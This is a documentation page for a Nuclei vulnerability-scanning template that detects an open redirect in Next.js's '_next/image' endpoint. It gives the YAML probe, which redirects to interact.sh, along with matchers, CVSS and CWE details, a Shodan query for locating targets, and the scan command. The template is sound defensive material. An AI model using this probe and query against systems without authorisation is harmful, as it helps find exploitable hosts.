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Nuclei Templates

Next.js <1.2.3 - Open Redirect

ID: nextjs-redirect

Severity: medium

Author: DhiyaneshDk

Tags: redirect,nextjs,xss

Description

Section titled “Description”

Next.js contains an open redirect via “_next/image” due to improper path parsing.

YAML Source

Section titled “YAML Source”
id: nextjs-redirect


info:
  name: Next.js <1.2.3 - Open Redirect
  author: DhiyaneshDk
  severity: medium
  description: Next.js contains an open redirect via “_next/image” due to improper path parsing.
  remediation: Upgrade to Next.js version 1.2.3 or higher.
  reference:
    - https://github.com/netlify/netlify-ipx/security/advisories/GHSA-9jjv-524m-jm98
    - https://samcurry.net/universal-xss-on-netlifys-next-js-library/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-601
    cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: html:"/_next/static"
    product: next.js
    vendor: zeit
  tags: redirect,nextjs,xss


http:
  - method: GET
    path:
      - '{{BaseURL}}/_next/image?url=/\/\interact.sh/&q=100&w=128&h=128'


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Location: /\/\/interact.sh'


      - type: status
        status:
          - 308
# digest: 4b0a00483046022100988801395658d63d5930304cd43ed1808f6b4161b72fa54fbe4f791d0e9d68de022100e52ff5bfb0144df69017cd0fcbc79ae69f0f04eac9b8ee68a9088d1f72479ae0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/nextjs-redirect.yaml"

View on Github